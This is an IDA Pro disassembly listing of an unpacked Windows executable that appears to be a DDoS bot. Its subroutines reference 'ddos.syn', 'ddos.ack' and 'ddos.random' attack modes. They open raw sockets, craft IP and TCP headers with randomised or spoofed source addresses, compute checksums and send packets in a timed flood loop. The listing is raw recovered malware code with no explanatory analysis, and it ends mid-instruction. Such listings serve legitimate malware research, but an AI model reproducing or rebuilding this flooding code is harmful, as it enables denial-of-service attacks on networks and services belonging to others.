; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 714E6D95E94CE79A719357BC88E9EB0E ; File Name : u:\work\714e6d95e94ce79a719357bc88e9eb0e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0007B000 ( 503808.) ; Section size in file : 0007B000 ( 503808.) ; Offset to raw data for section: 00001000 ; Flags D0000040: Data Shareable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _nsp0 segment para public 'DATA' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: start+272j ; DATA XREF: sub_40CE55+38E0o ... var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_42104C push eax call sub_415539 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_494] push offset unk_423050 push eax call sub_4154E7 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_412D4C add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_494] push eax call sub_40B16D push [ebp+var_290] call sub_4152AF pop ecx pop ecx push esi call dword_421048 pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43A330 test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43A45C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013DD push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43A398 cmp eax, 0FFFFFFFFh jz loc_4013D3 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43A3B8 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43A3B8 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43A3B8 mov [ebp+var_12], ax call sub_415543 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43A3B8 push 12345678h mov [ebp+var_14], ax call dword_43A3B4 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_415543 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_415543 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43A3B8 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_421054 lea eax, [ebp+var_1C] push eax call dword_421050 push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_4159A0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2F0j mov [ebp+var_4], bx call sub_415543 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A3B8 mov [ebp+var_14], ax call sub_415543 mov edi, eax shl edi, 10h call sub_415543 or edi, eax push edi call dword_43A3B8 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43A3B4 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43A3B8 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_4155D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A1CA mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A1CA mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43A41C cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_421050 mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D0 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D0 jmp loc_401264 ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: sub_4010B2+2CBj call dword_43A34C push eax lea eax, [ebp+var_F4] push offset unk_42308C push eax call sub_4154E7 lea eax, [ebp+var_F4] push eax call sub_40B16D add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: sub_4010B2+2E0j ; sub_4010B2+2EEj mov ebx, [ebp+arg_8] loc_4013D3: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+31Cj push [ebp+var_20] call dword_43A450 pop esi loc_4013DD: ; CODE XREF: sub_4010B2+5Bj call dword_43A318 mov eax, ebx loc_4013E5: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A05B push [esp+10h+arg_4] mov esi, eax call sub_415A5F push [esp+14h+arg_C] mov ebx, eax call sub_415A5F mov edi, eax call sub_415543 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401447 proc near ; DATA XREF: sub_40CE55+3AC8o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43A438 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E2 call dword_43A34C push eax lea eax, [ebp+var_3BC] push offset unk_42322C loc_401495: ; DATA XREF: .nsp0:off_424D5Co ; .nsp0:off_425D04o push eax call sub_4154E7 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C5 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_4014C5: ; CODE XREF: sub_401447+5Cj lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 loc_4014E2: ; CODE XREF: sub_401447+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43A398 cmp eax, 0FFFFFFFFh jnz short loc_401559 call dword_43A34C push eax lea eax, [ebp+var_3BC] push offset unk_4231E0 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153C push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_40153C: ; CODE XREF: sub_401447+D3j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 loc_401559: ; CODE XREF: sub_401447+B3j lea eax, [ebp+var_1B8] push eax call dword_43A3F8 cmp eax, 0FFFFFFFFh jnz short loc_4015C0 lea eax, [ebp+var_3BC] push offset unk_4231AC push eax call sub_4154E7 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_4015A3: ; CODE XREF: sub_401447+13Aj lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 loc_4015C0: ; CODE XREF: sub_401447+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_415570 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43A3B8 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43A3F8 mov esi, dword_42104C mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_4015FE: ; CODE XREF: sub_401447+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017A9 push 41Ch mov byte_438BB8, 45h call dword_43A3B8 cmp [ebp+var_2C], edi mov word_438BBA, ax mov word_438BBC, bx mov word_438BBE, di mov byte_438BC0, 80h mov byte_438BC1, bl mov word_438BC2, di jz short loc_401684 call sub_415543 mov ebx, eax shl ebx, 8 call sub_415543 add ebx, eax shl ebx, 8 call sub_415543 add ebx, eax shl ebx, 8 call sub_415543 add ebx, eax push 1 mov dword_438BC4, ebx pop ebx jmp short loc_40169C ; --------------------------------------------------------------------------- loc_401684: ; CODE XREF: sub_401447+20Bj push [ebp+var_1BC] call sub_40A171 pop ecx push eax call dword_43A3F8 mov dword_438BC4, eax loc_40169C: ; CODE XREF: sub_401447+23Bj mov eax, [ebp+var_18] mov dword_438BC8, eax call sub_415543 cdq mov ecx, 100h idiv ecx mov byte_438BCC, dl call sub_415543 cdq mov ecx, 100h idiv ecx mov byte_438BCD, dl call sub_415543 cdq mov ecx, 0F0h push 400h idiv ecx mov word_438BCE, di mov word_438BD2, bx inc edx mov word_438BD0, dx call sub_415543 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_438BD4 call sub_415570 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_438BB8 push [ebp+var_4] call dword_43A41C cmp eax, 0FFFFFFFFh jz short loc_401734 inc [ebp+arg_0] jmp loc_4015FE ; --------------------------------------------------------------------------- loc_401734: ; CODE XREF: sub_401447+2E3j push [ebp+var_4] call dword_43A450 call dword_43A34C push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_423148 lea eax, [ebp+var_3BC] push 200h push eax call sub_415A6A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178C push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_40178C: ; CODE XREF: sub_401447+323j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 loc_4017A9: ; CODE XREF: sub_401447+1C8j push [ebp+var_4] call dword_43A450 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4230E4 push eax call sub_4154E7 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401811 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412D4C add esp, 14h loc_401811: ; CODE XREF: sub_401447+3A8j lea eax, [ebp+var_3BC] push eax call sub_40B16D push [ebp+var_38] call sub_4152AF pop ecx pop ecx push edi call dword_421048 sub_401447 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182E proc near ; DATA XREF: sub_40CE55+37D1o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_423274 push eax call sub_4154E7 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AB push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_412D4C add esp, 14h loc_4018AB: ; CODE XREF: sub_40182E+5Bj lea eax, [ebp+var_414] push eax call sub_40B16D push [ebp+var_10] call sub_4152AF pop ecx pop ecx push esi call dword_421048 pop edi pop esi sub_40182E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CA proc near ; CODE XREF: sub_401B7C+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43A330 test eax, eax jz short loc_40190A xor eax, eax jmp loc_401B78 ; --------------------------------------------------------------------------- loc_40190A: ; CODE XREF: sub_4018CA+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43A45C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401B70 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43A398 cmp eax, 0FFFFFFFFh jz loc_401B66 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43A3B8 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43A3B8 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43A3B8 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43A3B8 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_421054 lea eax, [ebp+var_8] push eax call dword_421050 push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_4159A0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4019F5: ; CODE XREF: sub_4018CA+25Dj ; sub_4018CA+26Bj mov [ebp+var_24], bx call sub_415543 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A3B8 mov [ebp+var_34], ax call sub_415543 mov edi, eax shl edi, 10h call sub_415543 or edi, eax push edi call dword_43A3B8 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43A3B4 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43A3B8 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_4155D0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A1CA mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_4155D0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415570 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A1CA mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4155D0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43A41C cmp eax, 0FFFFFFFFh jz short loc_401B3A add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_421050 mov eax, [ebp+var_4] cmp eax, esi jg short loc_401B63 jl loc_4019F5 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401B63 jmp loc_4019F5 ; --------------------------------------------------------------------------- loc_401B3A: ; CODE XREF: sub_4018CA+247j call dword_43A34C push eax lea eax, [ebp+var_F4] push offset dword_4232B0 push eax call sub_4154E7 lea eax, [ebp+var_F4] push eax call sub_40B16D add esp, 10h jmp short loc_401B66 ; --------------------------------------------------------------------------- loc_401B63: ; CODE XREF: sub_4018CA+25Bj ; sub_4018CA+269j mov ebx, [ebp+arg_8] loc_401B66: ; CODE XREF: sub_4018CA+78j ; sub_4018CA+297j push [ebp+var_C] call dword_43A450 pop esi loc_401B70: ; CODE XREF: sub_4018CA+5Bj call dword_43A318 mov eax, ebx loc_401B78: ; CODE XREF: sub_4018CA+3Bj pop edi pop ebx leave retn sub_4018CA endp ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182E+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A05B push [esp+10h+arg_4] mov esi, eax call sub_415A5F push [esp+14h+arg_8] mov ebx, eax call sub_415A5F mov edi, eax call sub_415543 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4018CA add esp, 1Ch test eax, eax jnz short loc_401BC7 push 1 pop eax loc_401BC7: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BD6 proc near ; DATA XREF: sub_40CE55+2C1Eo var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_42104C call edi push eax call sub_415539 pop ecx push 0FFh push 3 push 2 call dword_43A438 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401C9F call dword_43A34C push eax lea eax, [ebp+var_440] push offset dword_423438 push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401C7F push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401C7F: ; CODE XREF: sub_401BD6+84j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 loc_401C9F: ; CODE XREF: sub_401BD6+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43A398 cmp eax, 0FFFFFFFFh jnz short loc_401D1D call dword_43A34C push eax lea eax, [ebp+var_440] push offset dword_4233EC push eax call sub_4154E7 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401CFD push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401CFD: ; CODE XREF: sub_401BD6+102j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 loc_401D1D: ; CODE XREF: sub_401BD6+DFj lea eax, [ebp+var_23C] push eax call dword_43A3F8 cmp eax, 0FFFFFFFFh jnz short loc_401D8D lea eax, [ebp+var_440] push offset dword_4233B8 push eax call sub_4154E7 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401D6D push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412D4C add esp, 14h loc_401D6D: ; CODE XREF: sub_401BD6+172j lea eax, [ebp+var_440] push eax call sub_40B16D push [ebp+var_BC] call sub_4152AF pop ecx pop ecx push ebx call dword_421048 loc_401D8D: ; CODE XREF: sub_401BD6+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_415570 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43A3B8 mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43A3F8 mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi mov [ebp+var_30], eax loc_401DC5: ; CODE XREF: sub_401BD6+430j call edi sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_402089 push 28h mov [ebp+var_2C], 45h call dword_43A3B8 cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401E38 call sub_415543 mov esi, eax shl esi, 8 call sub_415543 add esi, eax shl esi, 8 call sub_415543 add esi, eax shl esi, 8 call sub_415543 add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401E4E ; --------------------------------------------------------------------------- loc_401E38: ; CODE XREF: sub_401BD6+233j push [ebp+var_240] call sub_40A171 pop ecx push eax call dword_43A3F8 mov [ebp+var_20], eax loc_401E4E: ; CODE XREF: sub_401BD6+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401E6C call sub_415543 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E72 ; --------------------------------------------------------------------------- loc_401E6C: ; CODE XREF: sub_401BD6+284j push [ebp+var_B8] loc_401E72: ; CODE XREF: sub_401BD6+294j call dword_43A3B8 mov [ebp+var_16], ax call sub_415543 cdq mov ecx, 401h idiv ecx push edx call dword_43A3B8 push 12345678h mov [ebp+var_18], ax call dword_43A3B4 mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset 